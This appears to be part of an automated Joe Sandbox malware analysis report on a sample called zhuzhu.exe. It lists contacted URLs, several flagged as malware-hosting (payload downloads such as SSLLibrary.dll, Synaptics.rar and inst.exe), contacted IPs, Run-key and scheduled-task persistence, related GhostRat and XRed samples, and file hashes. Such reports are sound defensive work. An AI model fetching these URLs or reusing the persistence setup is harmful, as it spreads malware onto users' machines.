https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlX	zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dlD	zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exet	._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exep	._cache_zhuzhu.exe, 00000001.00000002.1772550299.000000000019A000.00000004.00000010.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1772613360.0000000000400000.00000040.00000001.01000000.00000005.sdmp, ._cache_zhuzhu.exe, 00000004.00000002.4138120900.000000000019D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/	._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	true	Avira URL Cloud: malware	unknown
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exel	._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978x	zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.a	Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/N=	Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	true	Avira URL Cloud: malware	unknown
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~DF163C59614BB26FC3.TMP.3.dr, ~$cache1.2.dr, Synaptics.exe.0.dr	false		high
https://docs.google.com/T	Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe)	._cache_zhuzhu.exe, 00000001.00000002.1781152699.0000000006300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/cellem	Synaptics.exe, 00000002.00000002.2535106563.000000001CFAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/L	Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeD	._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/H	Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000002.00000002.2549473645.000000002303E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2487297293.000000001034E000.00000004.00000010.00020000.00000000.sdmp	false		high
https://www.incredibuild.com	zhuzhu.exe, 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, zhuzhu.exe, 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000000.1663851009.0000000000401000.00000020.00000001.01000000.00000005.sdmp, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	false		high
http://xred.site50.net/syn/SSLLibrary.dll	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
39.156.85.201	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
39.156.85.200	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
1.192.136.135	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
39.156.85.231	seupdate.360qhcdn.com	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
180.163.251.230	s.360.cn	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
1.192.136.134	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
1.192.136.133	unknown	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
1.192.136.132	tr.p.360.cn	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
47.79.48.211	bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com	United States	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
142.250.181.238	docs.google.com	United States	15169	GOOGLEUS	false
142.250.186.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
1.192.136.170	st.p.360.cn	China	137687	CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	false
118.107.44.219	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582239
Start date and time:	2024-12-30 04:58:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zhuzhu.exe
Detection:	MAL
Classification:	mal100.bank.troj.spyw.expl.evad.winEXE@26/101@20/14
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 73% Number of executed functions: 332 Number of non-executed functions: 185
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 184.28.90.27, 40.79.189.58, 52.182.143.212, 20.189.173.20, 40.126.32.68, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, onedscolprdjpe02.japaneast.cloudapp.azure.com, europe.configsvc1.live.com.akadns.n
Execution Graph export aborted for target Synaptics.exe, PID 5780 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:59:03	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
03:59:08	Task Scheduler	Run new task: .Net OneStart path: C:\Users\user\Downloads\inst.exe
22:59:06	API Interceptor	459x Sleep call for process: Synaptics.exe modified
22:59:08	API Interceptor	2562297x Sleep call for process: ._cache_zhuzhu.exe modified
22:59:09	API Interceptor	8x Sleep call for process: powershell.exe modified
22:59:46	API Interceptor	4237170x Sleep call for process: inst.exe modified
23:00:05	API Interceptor	2x Sleep call for process: WerFault.exe modified
23:01:03	API Interceptor	1360206x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
39.156.85.201	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
39.156.85.201	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
39.156.85.200	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	pinst.360.cn/360safe/h_inst.cab?rd=10788264
1.192.136.135	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
1.192.136.135	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
39.156.85.231	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	pinst.360.cn/360safe/h_inst.cab?rd=36608336
180.163.251.230	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	s.360.cn/safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=
1.192.136.134	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
1.192.136.134	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
1.192.136.133	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
	360#U6d4b#U901f.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	47.79.48.211
s-part-0017.t-0009.t-msedge.net	017069451a4dbc523a1165a2f1bd361a762bb40856778.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://nemoinsure.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://1drv.ms/o/c/1ba8fd2bd98c98a8/EmMMbLWVyqxBh9Z6zxri2ZUBVkwUpSiY2KbvhupkdaFzGA?e=F6pNlD	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Kellyb Timesheet Report.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
tr.p.360.cn	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.134
tr.p.360.cn	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.132
freedns.afraid.org	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	ccmsetup.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
agt.p.360.cn	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.133
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.132
	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse	1.192.136.132
agd2.p.360.cn	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.194.215
agd2.p.360.cn	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.194.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMNET-GDGuangdongMobileCommunicationCoLtdCN	loligang.spc.elf	Get hash	malicious	Mirai	Browse	218.201.238.247
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	120.206.216.207
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	117.156.66.127
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	111.10.231.158
	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	39.156.85.231
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	39.156.85.231
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.150.97.30
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.151.161.150
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.135.228.168
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.169.144.160
CMNET-GDGuangdongMobileCommunicationCoLtdCN	loligang.spc.elf	Get hash	malicious	Mirai	Browse	218.201.238.247
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	120.206.216.207
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	117.156.66.127
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	111.10.231.158
	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	39.156.85.231
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	39.156.85.231
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.150.97.30
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.151.161.150
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.135.228.168
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.169.144.160
CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.170
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	1.192.136.170
	mips.elf	Get hash	malicious	Mirai	Browse	1.192.222.114
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.192.240.164
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	1.192.222.117
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	1.192.193.56
	mpsl.elf	Get hash	malicious	Mirai	Browse	36.99.183.94
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.192.193.76
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	1.192.240.133
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	36.99.33.202

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	setup.msi	Get hash	malicious	Unknown	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	142.250.181.238 142.250.186.129 47.79.48.211
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	142.250.181.238 142.250.186.129 47.79.48.211

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inst[1].exe	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll	QQyisSetups64.exe	Get hash	malicious	GhostRat	Browse
	wyySetups64.exe	Get hash	malicious	GhostRat	Browse
	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\360\360Safe\{FD2C39FB-F4D3-4b94-BD68-BE991C2FC645}.tf

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	2.663180203976347
Encrypted:	false
SSDEEP:	3:Sclj4I9R:vlEI9R
MD5:	68EDAF4FBCFFFB168E50C1695BA620E1
SHA1:	7D42060D5E0153562EE4E1564D505E4438BE23A9
SHA-256:	2DAE268E38E73A7E317C296B1FFD3941AF87DD7822968CFA0FCF8C1426DB7534
SHA-512:	2E204EFF691837D3472C4EEC9EE886C8A9CD5A482893EFC95AE23FA622657EA4E04777A9D99A10074A9C003CEA15CB5D69EC09418015A5A49228BBFB741D8D5F
Malicious:	false
Preview:	{.F.D.2.C.3.9.F.B.-.F.4.D.3.-.4.b.9.4.

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_2ec6c543e663fbcb7aa81b84b010deff7deb3a8e_455b7b6e_d6a569a7-6642-4538-8b43-920d5da35af4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.133645338198185
Encrypted:	false
SSDEEP:	192:GvNWVpszImV0BU/3DzJDzqjYdA/NczxwzuiFUZ24IO8EKDzy:pyzMBU/3Jqj8KzuiFUY4IO8zy
MD5:	3C8D3FD2F52C16261488F4390DAD7D92
SHA1:	302A38C5FE3BFEBDF674568AC160447D04DE2502
SHA-256:	1AA49E52A25F8C4EBF49D1096E20A16EA5FE554B0982D2C59A9D9E855F986539
SHA-512:	D1A88EF46ED4FC625406C91967C30123D0733BB773EF49B7B60C4D0BA00FE3705FCD3C4326B0BC95CC9CF3E9B369806CAF89FD8C452156EDD5DF6239E512A5D4
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.0.0.4.7.9.5.1.9.6.7.0.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.0.0.4.8.0.2.7.7.4.8.3.1.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.6.a.5.6.9.a.7.-.6.6.4.2.-.4.5.3.8.-.8.b.4.3.-.9.2.0.d.5.d.a.3.5.a.f.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.7.1.e.7.e.8.b.-.7.8.3.a.-.4.4.f.d.-.9.2.6.8.-.7.c.4.c.1.0.0.d.c.8.2.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.9.4.-.0.0.0.1.-.0.0.1.4.-.a.f.f.d.-.9.4.2.7.6.f.5.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.7.a.3.9.2.2.c.6.d.e.7.b.4.2.4.8.3.e.4.8.6.4.4.c.9.1.7.a.d.a.5.4.6.7.f.d.1.a.4.4.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6751ccd5199dfc6aae4d63e074afd0eab89d0a7_455b7b6e_91ae11ba-0554-431f-afd5-a98f70ec6dfa\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	1.1332002667214085
Encrypted:	false
SSDEEP:	192:066FWVpsnImy0RbgFqfDzJDzqjYdA/NczxwzuiFUZ24IO8EKDzy:0h4ynTRbQcJqj8KzuiFUY4IO8zy
MD5:	5A4647F1732A39BC6B030D0A7F1EF670
SHA1:	23150CD47BE75AEA5A1E92FB20A9B92DACD9317F
SHA-256:	1F36E48DDD3610556A7A911F5645CF767E13A18E727CED30A762F0804F8C337B
SHA-512:	967868886706994844A84CCF4E0944D7BBE3AA6FBAB559568725E1389668E3D48347D6F0F7B6D5792B7739C43283016C95B61953FCC422BEEF2C530BF06ED5B5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.0.0.4.8.0.6.3.5.1.2.2.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.0.0.4.8.1.4.1.3.2.4.7.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.a.e.1.1.b.a.-.0.5.5.4.-.4.3.1.f.-.a.f.d.5.-.a.9.8.f.7.0.e.c.6.d.f.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.2.3.0.8.e.5.-.c.6.9.9.-.4.5.e.5.-.8.6.1.3.-.2.6.b.9.b.0.6.e.a.4.5.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.9.4.-.0.0.0.1.-.0.0.1.4.-.a.f.f.d.-.9.4.2.7.6.f.5.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.7.a.3.9.2.2.c.6.d.e.7.b.4.2.4.8.3.e.4.8.6.4.4.c.9.1.7.a.d.a.5.4.6.7.f.d.1.a.4.4.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3B5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 30 03:59:57 2024, 0x1205a4 type
Category:	dropped
